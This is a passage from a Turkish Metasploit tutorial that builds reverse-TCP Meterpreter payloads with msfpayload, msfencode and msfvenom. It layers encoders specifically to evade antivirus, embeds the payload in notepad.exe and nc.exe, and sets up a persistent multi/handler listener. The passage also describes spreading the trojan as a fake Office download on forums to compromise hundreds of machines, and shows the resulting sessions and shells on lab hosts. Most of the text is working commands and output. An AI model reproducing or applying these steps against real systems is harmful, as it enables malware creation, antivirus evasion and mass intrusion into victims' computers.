Yukarıdaki kodlamada önce msfpayload ile payload'umuzu oluşturduk. Sonra | (pipe) operatörü ile payload'umuzun content'ini (içeriğini) | operatörünün sağındaki msfencode'a gönderdik. Msfencode bu payload içeriğini shikata_ga_nai ile encode'ladı ve Raw formatında bir çıktı sundu. Bu çıktı yine | (pipe) operatörü ile sağdaki diğer msfencode'a geçti. Bu msfencode gelen payload içeriğini alpha_upper ile encode'ladı. Bir sonraki msfencode bir önceki msfencode'un ürettiği çıktıyı alıp shikata _ga_nai ile encode'lama yaptı. Son olarak bu çıktıyı alan dördüncü msfencode countdown ile gelen payload içeriğini encode'ladı. Sonuç olarak üst üste encoding metodlarıyla bir payload'u encode'lamış ve tanınmaz hale getirmiş olduk.

Oluşturulan bir payload'u aynı encoding metoduyla üst üste encode'lamak istersek yukarıdaki örnekte yer alan msfencode'lara aynı encoder ismini vermek yeterlidir. Bunun yerine daha pratik bir çözüm de kullanabilirsiniz:

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R  | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o payload.exe


Çıktı:
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

-c parametresi ile aynı encoding (kodlama) metodunun kaç kez tekrarlanacağı sayısı belirtilebilir. Bu, bir nevi iterasyon sayısını temsil eder. Bu şekilde yukarıdaki örnekte -c 5 ile aynı encoding metodu 5 kez üst üste payload'u kodlamış oldu.

Son olarak hem birden fazla encoder ile kodlama hem de bu encoder'ların her birini defalarca tekrarlama örneğini gösterelim.

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o payload.exe

Çıktı:

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/alpha_upper succeeded with size 919 (iteration=1)
[*] x86/alpha_upper succeeded with size 1907 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1936 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 1965 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1994 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2023 (iteration=4)
[*] x86/countdown succeeded with size 2041 (iteration=1)
[*] x86/countdown succeeded with size 2059 (iteration=2)
[*] x86/countdown succeeded with size 2077 (iteration=3)

Msfencode encode'lama işlemi sonrası exe gibi farklı çıktı formatlarında da çıktı alınabilir. Bunlar;

Çıktı Formatı               Msfencode'a Konulma Şekli
--------------------        ----------------------------
ASP Dili                    asp
ASPX Dili                   aspx             
DLL Hali                    dll
Exe Hali                    exe
War Hali                    war
Bash Dili                   bash
Visual Basic Script Dili    vbs
C Dili                      c   
Java Dili                   java
Perl Dili                   perl
Ruby Dili                   ruby
...                         ...
...                         ...


Böylelikle msfencode ile oluşturduğumuz payload'ları nasıl antivirus tarzı güvenlik mekanizmalarınca tanınmaz hale getirebileceğimize dair bir fikir edinmiş olduk.

[!] Uyarı

Metasploit'in yan tool'u olan msfencode tıpkı msfpayload gibi artık tedavülden kalkmıştır (deprecated olmuştur). Metasploit geliştiricileri yola artık msfvenom tool'u ile devam etmektedir. Msfvenom; Msfpayload + Msfencode 'un yeteneklerinin birleştirildiği yeni bir araçtır. Şimdi msfpayload ve msfencode'la yaptığımız encode'lama örneklerini bir de msfvenom ile yapalım. Öncelikle msfvenom kullanım biçimi;

Msfvenom Kullanım Dizilişi (Syntax'ı):

msfvenom [options] [parametre=arguman] [ciktiFormati]   // Msfpayload daki [options] ve [payload] options ın içine alınmıştır.


Az önce msfpayload + msfencode ile yaptığımız payload oluştur ve encode'la işlemini şimdi bir de msfvenom'daki karşılığını seri bir şekilde gösterelim.

Msfvenom'un kullanabileceği yüklü modüller sıralanır.

Kali Linux Terminal:

msfvenom -l

Çıktı:

Framework Payloads (507 total)
==============================

    Name                      Description
    ----                      -----------
    aix/ppc/shell_bind_tcp    Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port   Spawn a shell on an established connection
    aix/ppc/shell_interact    Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
    ...                       ...
    ...                       ...

Framework Encoders
==================

    Name                      Rank       Description
    ----                      ----       -----------
    cmd/echo                  good       Echo Command Encoder
    cmd/generic_sh            manual     Generic Shell Variable Substitution
    cmd/ifs                   low        Generic ${IFS} Substitution Command
    cmd/perl                  normal     Perl Command Encoder
    cmd/powershell_base64     excellent  Powershell Base64 Command
    cmd/printf_php_mq         manual     printf(1) via PHP magic_quotes Utility
    ...                       ...        ...
    ...                       ...        ...

Framework NOPs (10 total)
=========================

    Name                      Description
    ----                      -----------
    aarch64/simple            Simple NOP generator
    armle/simple              Simple NOP generator
    mipsbe/better             Better NOP generator
    php/generic               Generates harmless padding for PHP scripts
    ppc/simple                Simple NOP generator
    ...                       ...
    ...                       ...


Eğer sadece mevcut payload'ları sıralamak istiyorsak msfvenom -l payloads, sadece encoder'ları sıralamak istiyorsak msfvenom -l encoders ve sadece nop'ları sıralamak istiyorsak msfvenom -l nops kullanılabilir. Şimdi payload seçelim, ayarlarını girelim, oluştur diyelim ve encode'layalım.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe

Çıktı:

Attemting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as payload.exe

Yine payload oluşturalım, ardından aynı encoder'ı birden fazla kez kullanalım.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe

Çıktı:

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 73831 (iteration=0)
x86/shikata_ga_nai chosen with final size 73831
Payload size: 73831 bytes
Final size of exe file: 148992 bytes

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 149021 (iteration=0)
x86/shikata_ga_nai chosen with final size 149021
Payload size: 149021 bytes
Final size of exe file: 224256 bytes

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 224285 (iteration=0)
x86/shikata_ga_nai chosen with final size 224285
Payload size: 224285 bytes
Final size of exe file: 299520 bytes

Saved as: payload.exe

Yukarıda yapılan aynı encoder'la üst üste kodlama işlemini daha pratik bir şekilde -i (yani iterative) parametresiyle de yapabiliriz.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -i 4 -f exe -o payload.exe

Çıktı:

Found 1 compatible encoders
Attempting to encode payload with 4 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 360 (iteration=1)
x86/shikata_ga_nai succeeded with size 360 (iteration=2)
x86/shikata_ga_nai succeeded with size 360 (iteration=3)
x86/shikata_ga_nai chosen with final size 441
Payload size: 441 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Ardından msfvenom'da payload oluşturup farklı farklı encoder'larla kodlama örneğine bakalım.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/countdown -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e cmd/echo -f exe -o payload.exe

Çıktı:

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown succeeded with size 73820 (iteration=0)
x86/countdown chosen with final size 73820
Payload size: 73820 bytes
Final size of exe file: 148992 bytes

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 149021 (iteration=0)
x86/shikata_ga_nai chosen with final size 149021
Payload size: 149021 bytes
Final size of exe file: 224256 bytes

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/echo
cmd/echo succeeded with size 224256 (iteration=0)
cmd/echo chosen with final size 224256
Payload size: 224256 bytes
Final size of exe file: 299520 bytes

Saved as: payload.exe

Son olarak oluşturacağımız payload için msfvenom'da hem birden fazla encoder ile kodlama hem de bu encoder'ların her birini defalarca tekrarlama örneğini gösterelim.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -i 4 -f exe | msfvenom -a x86 --platform windows -e x86/countdown -i 2 -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 5 -f exe | msfvenom -a x86 --platform windows -e cmd/echo -i 3 -f exe -o payload.exe

Çıktı:

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...


Found 1 compatible encoders
Attempting to encode payload with 4 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai chosen with final size 441
Payload size: 441 bytes
Final size of exe file: 73802 bytes

Found 1 compatible encoders
Attempting to encode payload with 2 iterations of x86/countdown
x86/countdown succeeded with size 73820 (iteration=0)
x86/countdown succeeded with size 73838 (iteration=1)
x86/countdown chosen with final size 73838
Payload size: 73838 bytes
Final size of exe file: 148992 bytes

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 149021 (iteration=0)
x86/shikata_ga_nai succeeded with size 149050 (iteration=1)
x86/shikata_ga_nai succeeded with size 149079 (iteration=2)
x86/shikata_ga_nai succeeded with size 149108 (iteration=3)
x86/shikata_ga_nai succeeded with size 149137 (iteration=4)
x86/shikata_ga_nai chosen with final size 149137
Payload size: 149137 bytes
Final size of exe file: 224256 bytes

Found 1 compatible encoders
Attempting to encode payload with 3 iterations of cmd/echo
cmd/echo succeeded with size 224256 (iteration=0)
cmd/echo succeeded with size 224256 (iteration=1)
cmd/echo succeeded with size 224256 (iteration=2)
cmd/echo chosen with final size 224256
Payload size: 224256 bytes
Final size of exe file: 299520 bytes

Saved as: payload.exe

Böylece msfvenom ile payload encode'lama işlemini görmüş olduk.

Ekstra [Msfvenom ile Reel Bir Saldırı Uygulaması]

Bu başlık altında msfpayload ve msfencode'un görevlerini yerine getirebilen msfvenom aracıyla meterpreter payload'u oluşturup bu payload'u piyasada bilinen / tanınan / legal / zararsız bir yazılım şablonu içerisine gömecek şekilde encode'layacağız. Bu sayede payload'umuz piyasadaki o yazılımın görünüşüne sahip olacaktır. Örneğin saldırgan profilindeki bir kimse msfvenom ile hazırladığı bir payload'u bir forum sitesinde Microsoft Office Full Türkçe İndir diye paylaşabilir. Bu dosyayı indirecek binlerce insan olacağından birçok kullanıcının makinasında bu payload çalışacaktır. Saldırgan ise makinesinden uzak sistemlerde çalışacak payload'lardan gelen bağlantıları dinler modda olacaktır. Saldırganın dosyasını forum sitesinden indirip her çalıştıran kişi saldırganın sistemine bağlantı yollayacaktır. Saldırgan ise her gelen bağlantıyı kabul edecektir ve yüzlerce bilgisayarın içine girmiş olacaktır.

İlk olarak oluşturacağımız payload'u Windows'un notepad uygulaması şablonunda oluşturalım ve bu payload'u (viruslu notepad'i) çeşitli sistemlere indirip çalıştırarak sistemlerin her birine sızmayı deneyelim. Ardından aynı senaryoyu görseli olmayan bir exe dosyası için işletelim. Son olarak ise aynı senaryoyu piyasada çoğunlukla sistem yöneticilerinin kullandığı legal bir yazılım olan Putty'nin şablonuyla tekrarlayalım ve noktalayalım.

Gereksinimler

(+) Bu yazı belirtilen materyaller ile birebir denenmiştir ve başarılı olunmuştur.
Kali Linux 2018.1 [indir]   // Saldırgan Sistem
Windows XP SP2 TR LANG x86 [indir]   // Hedef Sistem 1
Windows 10 Enterprise x64 [indir]   // Hedef Sistem 2
Windows Server 2012 R2 x64 [indir]   // Hedef Sistem 3


i) Sosyal Mühendislik İle Sızma Uygulaması # Örnek 1

Şimdi msfvenom ile meterpreter payload dosyası oluşturalım. Bu payload dosyasını shikata_ga_nai encoding tekniğiyle kodlayalım ve ardından notepad.exe uygulaması şablonunda bir çıktı alalım.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform windows -x /root/Desktop/notepad.exe -k -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o /root/Desktop/notepad_viruslu.exe    // X.X.X.X yerine Kali Linux IP si konur. 

Çıktı:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 111104 bytes

Saved as: /root/Desktop/notepad_viruslu.exe


Burada -p parametresi payload'u alır, ardından payload parametreleri olduğu gibi peşisıra eklenebilir. Daha sonra -a parametresi ile (yani (a)rchitecture parametresi ile) payload'umuzun 32 bitlik sisteme göre mi 64 bitlik sisteme göre mi çıktılanması gerektiği belirtilir. --platform parametresi ile payload'umuzun hangi işletim sistemi tipi üzerinde çalışacağı bilgisi belirtilir. -x parametresi ile payload için kullanılacak legal yazılım şablonu belirtilir (Not: Buradaki notepad.exe uygulaması Windows XP'den kopyala yapıştır suretiyle alınmıştır). -k parametresi (keep parametresi) kullanılacak yazılım şablonunun bozulmadan korunmasını ve payload'umuzun ekstra bir thread olarak şablona enjekte edilmesini sağlar. -e parametresi (yani (e)ncoder parametresi) ile payload'umuzun hangi encoding tekniğiyle kodlanacağı belirtilir. -i parametresi ile (yani (i)terative parametresi ile) kullanılacak encoding tekniğinin payload'umuzu üstüste kaç kere kodlayacağı belirtilir. -b parametresi ile encoding sonucu türeyen lüzumsuz karakterleri otomatize bir şekilde silme işlemi gerçekleşir. Burada payload'un encode'laması sırasında türeyen işlevsiz \x00 karakterleri silinmektedir. Böylelikle payload'umuzun boyutu minimize edilebilir. -f parametresi ile (yani (f)ormat parametresi ile) payload'umuzun çıktısının hangi formatta olacağı belirtilir. -o parametresi ile (yani (o)utput parametresi ile) payload'umuzun çıktısı sonucu oluşacak dosyanın ismi belirtilir.

Yukarıdaki kodlama ile oluşan virüslü notepad uygulamamızın ismini ilgi çekici bir isim ile değiştirebiliriz. Örn; şifre gibi. Saldırgan böylesi bir dosyayı oluşturduktan sonra dosyayı internete koymadan evvel makinesini dinleme moduna geçirir ve hazır hale gelir.

Kali Linux Terminal:

msfconsole
msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost X.X.X.X                  // Kali Linux IP si
msf> set lport 443
msf> set AutoRunScript post/windows/manage/migrate
msf> set NAME explorer.exe
msf> set ExitOnSession false
msf> exploit -j


Çıktı:

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on X.X.X.X:443

msf exploit(multi/handler) >


Saldırganın makinesinde çalıştırılan yukarıdaki msfconsole kodlamadarı ile multi/handler modülü seçilir ve saldırganın makinesi dışarıdan gelecek bağlantıları dinleme moduna geçirilir. Dinlenecek IP olarak (LHOST olarak) yerel sistemin IP'si verilir. Çünkü uzaktan gelecek bağlantılar yerel sistemimize gelecektir. Port olarak payload oluştururken LPORT'a ne girilmişse o girilir. AutoRunScript parametresi ise kullanımı zaruri olmamakla beraber dışarıdan gelen bağlantı sonucu dışarıdaki sistemde oturum elde edildiği an ekstradan çalıştırılacak modül ismini alır. Bu ekstradan çalıştırılacak modül kısmına bir post-exploitation modülü olan migrate konulması tercih edilmiştir. Çünkü uzak sistemlerden birinde payload (virüslü notepad) çalıştırıldığında notepad penceresi ekrana gelecektir ve kullanıcı o notepad penceresini kapadığı an bizim oturum sonlanacaktır. Dolayısıyla uzak sistem elimizden kayıp gidecektir. Normalde uzak sistemde oturum elde ettiğimiz an - bu makale zincirinin ikinci konusunda bahsedildiği üzere - migrate komutu ile daha uzun ömürlü bir process'e geçiş yapabiliriz. Fakat gerçek bir saldırı senaryosunda kurban size bu fırsatı vermeyebilir. Çevik davranarak notepad ya da benzeri virüslü uygulamayı kapatabilir ve elde ettiğiniz oturum sonlanabilir. Bu nedenle oturum elde edildiği an migrate işlemini msfconsole otomatikmen yapsın diye AutoRunScript parametresine migrate modülü konulmuştur. Bu modülün NAME parametresine explorer.exe process'inin ismi verilerek migrate modülümüze Windows sistemlerde gayet uzun ömürlü bir process'e anında beni geçir direktifi vermiş oluruz. ExitOnSession parametresini false yapmamız ise bu senaryo için zaruridir. Çünkü bir sistemde oturum elde ettiğimizde ExitOnSession (yani oturum elde edildiği durumda çıkış yap) parametresi varsayılan olarak true olduğundan ilk oturum elde edilir edilmez dinleme modundan çıkılmış olacaktır, diğer gelecek bağlantılar alınamaz duruma gelecektir ve uzak sistemlerdeki oturumlarımızı kaybetmiş olacağız. Bu nedenle ExitOnSession (Oturum Elde Edildiği Durumda Çıkış Yap) parametresini false yapmalıyız ki birinci oturumu aldığımızda dinleme moduna devam edebilelim ve peşisıra gelen her bağlantıyı kabul edip oturumları stoklayabilelim. Son olarak exploit -j komutuyla belirlenen ayarlar doğrultusunda dinleme moduna geçilir. Buradaki -j parametresi job 'un kısaltılmışıdır ve dinleme modu process'inin arkaplanda çalışmasını sağlar. Böylelikle msfconsole komut satırınız elde edilen oturum(lar) tarafından işgal edilmez.

Not:
Payload’umuza şablon program olarak belirlediğimiz notepad.exe bir exception (bir istisna / problem) üretecektir. Multi/handler ile dinleme modundayken zararlı notepad.exe uygulaması çalıştırıldığında session alınacaktır, fakat migrate modülü bir tür loop’a girip sürekli session migrate etme işlemi yapmaya başlayacaktır. Bu ise bir dünya bozuk session elde edilmesine neden olacaktır (Neredeyse yüzlerce…) Bunun muhtemel nedeni post-exploitation modülü olan migrate modülünün kaynak kodlarında yer alan temp process to mitigate (yani migrate işlemi için geçiçi process) tanımında notepad.exe’nin belirtilmiş olmasındandır. Biz payload’umuzu notepad.exe şeklinde hazırladığımız için migrate modülü geçici process olarak kendinde tanımlı notepad.exe dolayısıyla migrate işleminde bir tür sonsuz döngüye girmekte. Bu sorunu aşmak için migrate modülünün kaynak kodundaki temporary process (geçici process) kodlama satırında yer alan - mitigation işlemi için kullanılacak - geçici process ismine default olan “notepad.exe” yerine “cmd.exe” koyulabilir.

/usr/share/metasploit-framework/modules/post/windows/manage/migrate.rb
…
…
…
# Creates a temp notepad.exe to migrate.
def create_temp_proc()
  cmd ="cmd.exe"                # Önceden “notepad.exe” ydi. Sonsuz döngüyü engellemek için cmd.exe yapıldı.
  proc = session.sys.process.execute(cmd, nil, 'Hidden' => true })
  return proc.pid
end

Bu şekilde notepad.exe şablonu ile oluşmuş payload’umuz sorunsuz bir şekilde çalışacaktır.


Dinleme moduna geçen saldırgan artık oluşturduğu virüslü notepad'i bir platforma yükleyip insanların onu indirmesini umabilir. Biz o işi kısa kesip oluşturuğumuz notepad.exe dosyasını gdrive, dropbox,.. gibi bir platforma yüklediğimizi ve Windows XP, Windows 10, Windows Server 2012 R2 sistemlerine de indirdiğimizi varsayalım. Bu hedef sistemler örnekleme şeklinde seçilmiştir. Windows XP, eski teknoloji bir sistemde bu işi başarabileceğimizi; Windows 10, son teknoloji bir sistemde bu işi başarabileceğimizi ve Windows Server 2012 ise web geliştiricileri ya da web sunucusunu yöneten sistemcilerin web sunucusuna böylesi bir dosya indirme gafletine düştüklerinde yine saldırıda başarılı olabileceğimizi göstermek adına seçilmişlerdir.

Virüslü Dosyanın İndiği Sistemler:



Windows XP



Windows 10



Windows Server 2012



Şimdi tüm bu virüslü dosyayı indiren sistemlerdeki kullanıcıların dosyaları çalıştırdıklarını varsayalım.

Windows XP



Windows 10



Windows Server 2012



Tüm bu virüslü notepad uygulamaları resimlerde gösterildiği gibi çalıştırıldıklarında saldırganın sistemine teker teker bağlantı göndereceklerdir. Bağlantıları saldırganın sistemi aldığında oturumlar elde edilmiş olacaktır. Dinleme modunda yaptığımız konfigurasyon ayarı gereği elde edilen her bir oturumun akabinde meterpreter oturumumuz uzak sistemlerdeki notepad.exe process'inden explorer.exe process'ine migrate edilecektir. Bu nedenle notepad process'i otomatikmen birkaç saniye içerisinde migrate modülü tarafından kapanacaktır. Ancak oturumumuz artık daha sağlam bir process'e (explorer.exe'ye) geçmiş olacaktır. Kurbanların indirdikleri notepad'ler açıldıklarında saldırganın sisteminde şu çıktılar ekrana gelecektir:

Çıktı:

msf exploit(multi/handler) >    ((( Beklerken oturumlar gelir )))

[*] Sending stage (179779 bytes) to Y.Y.Y.Y
[*] Meterpreter session 1 opened (X.X.X.X:443 -> Y.Y.Y.Y:49159)
[*] Session ID 1 (X.X.X.X:443 -> Y.Y.Y.Y:49159) processing 
    AutoRunScript 'post/windows/manage/migrate'
[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: notepad.exe (828)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 496
[+] Successfully migrated to process 496

[*] Sending stage (179779 bytes) to Z.Z.Z.Z
[*] Meterpreter session 2 opened (X.X.X.X:443 -> Z.Z.Z.Z:1040)
[*] Session ID 2 (X.X.X.X:443 -> Z.Z.Z.Z:1040) processing 
    AutoRunScript 'post/windows/manage/migrate'
[*] Running module against PENTEST-WINXP
[*] Current server process: notepad.exe (2348)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2436
[+] Successfully migrated to process 2436

[*] Sending stage (179779 bytes) to T.T.T.T
[*] Meterpreter session 3 opened (X.X.X.X:443 -> T.T.T.T:1881)
[*] Session ID 3 (X.X.X.X:443 -> T.T.T.T:1881) processing 
    AutoRunScript 'post/windows/manage/migrate'
[*] Running module against SGELPENTEST01
[*] Current server process: notepad.exe (2936)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 6376
[+] Successfully migrated to process 6376

((( Bir kez ENTER )))

msf exploit(multi/handler) >  ((( konsol arayüzümüz yine geldi )))


Şimdi elde ettiğimiz oturumları listeleyelim.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions -l

Çıktı:

Active sessions
===============

Id Type                     Information             Connection
-- ----                     -----------             ----------
1  meterpreter x86/windows  WIN-VJ7UU\Administrator X.X.X.X:443 -> 
                            @ WIN-VJ7UU9G4VTO       Y.Y.Y.Y:49159 (A.B.C.D)
2  meterpreter x86/windows  PENTEST-WINXP\pentest   X.X.X.X:443 -> 
                            @ PENTEST-WINXP         T.T.T.T:1040 (E.F.G.H)
3  meterpreter x86/windows  HFSPENTEST\pentest      X.X.X.X:443 -> 
                            @ HFSPENTEST01          K.K.K.K:1881 (I.J.K.L)

Şimdi oturumlardan birine id'si ile geçiş yapalım.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions -i 3

Çıktı:

[*] Starting interaction with 3...

meterpreter > ((( İçerdeyiz )))

Şimdi hedef sistemin komut satırını alalım ve işletim sistemi + versiyonunu öğrenelim.

Kali Linux Terminal:

meterpreter > shell

Çıktı:

Process 2224 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17134.345]
(c) 2018 Mİcrosoft Corporation. All rights reserved.

C:\Users\pentest\Desktop > (((( Komut Satırını Aldık )))


Kali Linux Terminal:

C:\Users\pentest\Desktop > systeminfo | findstr /C:"OS"            // Linux sistemlerde ise şu şekilde: uname -a

Çıktı:

OS Name:                         Microsoft Windows 10 Enterprise
OS Version:                      X.Y.Z N/A Build ABCDEFG
OS Manufacturer:                 Microsoft Corporation
OS Configuration:                Standalone Workstation
OS Build Type:                   Multiprocessor Free
BIOS Version:                    Hewlett-Packard XYZ Ver. A.FD, 0X.0Y.200A
C:\Users\pentest\Desktop >

Son olarak sızmış olduğumuz Windows 10 sistemindeki masaüstü dökümanlarını listeleyelim.

Kali Linux Terminal:

C:\Users\pentest\Desktop > dir

Çıktı:

 Volume in drive C has no label.
 Volume Serial Number is ABC-EYXF

 Directory of C:\Users\pentest\Desktop

09.11.2018  13:29    <DIR>          .
09.11.2018  13:29    <DIR>          ..
09.11.2018  10:08           723.633 2018-11-09 10_05_52-.png
09.11.2018  13:29           512.081 2018-11-09 13_27_40-.png
19.04.2017  14:23                 0 KOPYALAMA!.txt
04.08.2017  11:47             1.272 Any Video Converter.lnk
08.11.2018  15:32               839 average responses.rar
08.11.2018  15:30             2.243 average responses.txt
05.04.2018  14:25    <DIR>          BurpSuite Kurulum Dosyalar�
02.10.2018  16:18               124 Ders Video �ekim Hk..txt
30.07.2018  09:53             1.962 DirBuster.lnk
29.03.2018  14:51             2.113 Email Extractor.lnk
14.09.2017  12:40             3.129 FreeEmailExtractor.lnk
24.04.2018  14:40             1.602 Internet Explorer.lnk
08.11.2018  16:50           111.104 notepad.exe
21.09.2018  14:28           854.072 putty.exe
04.06.2018  14:12         1.017.400 rufus-3.0.exe
02.07.2018  14:32               462 Word ��indekiler Tablosu Olu�turma.txt
              17 File(s)      3.233.526 bytes
               5 Dir(s)  74.880.786.432 bytes free

Meterpreter ile yapabileceklerinizden daha önce bahsedildiği için sızma işlemini burada noktalıyorum.

ii) Sosyal Mühendislik İle Sızma Uygulaması # Örnek 2

Şimdi aynı senaryoyu görsel arayüzü olmayan bir exe programı ile tekrarlayalım.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform windows -x /usr/share/windows-binaries/nc.exe -k -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o Desktop/deneme.exe       // X.X.X.X yerine yerel sistemin (Kali Linux'un) IP'si girilir. 

Çıktı:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 61952 bytes
Saved as: Desktop/deneme.exe

Metasploit içerisinde barınan windows binary'lerinden nc.exe'yi oluşturacağımız payload'a şablon olarak seçtik. Payload'umuz oluştuğunda deneme.exe isimli olacaktır. Yukarıdaki kodlamada -p payload'u, -a payload'un 32 bitlik mi 64 bitlik mi olacağı bilgisini, --platform payload'un çalışacağı işletim sistemi türü bilgisini, -x kullanılacak legal bir yazılımın şablonunu, -k şablon korunsun ve payload'umuz içine enjekte edilsin diretifini, -e kullanılacak encoding tekniğini, -i iterasyon sayısını, -b kodlama sırasında türeyen hangi gereksiz karakterlerin silineceği bilgisini, -f payload'un çıktısının hangi formatta olacağı bilgisini, -o ise payload'un çıktı dosyasının ismini alır.

Şimdi önceki senaryodan arta kalan oturumları sonlandıralım, dinleme modundan çıkalım ve saldırganın makinasını tekrar dinleme moduna geçirelim.

Kali Linux Terminal:

msf exploit(multi/handler) > sessions -k 1,2,3     // pidNo,pidNo,...
msf exploit(multi/handler) > jobs -k 0             // jobs -k jobID

msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost X.X.X.X                             // Kali Linux IP si
msf> set lport 443
msf> set AutoRunScript post/windows/manage/migrate
msf> set NAME explorer.exe
msf> set ExitOnSession false
msf> exploit -j


Çıktı:

[*] Exploit running as background job 1.
[*] Started reverse TCP handler on X.X.X.X:443
msf exploit(multi/handler) >


Oluşturulan dosyayı internete koyduğumuzu ve kurbanların da indirdiğini varsayalım.

Windows XP



Windows 10



Windows Server 2012



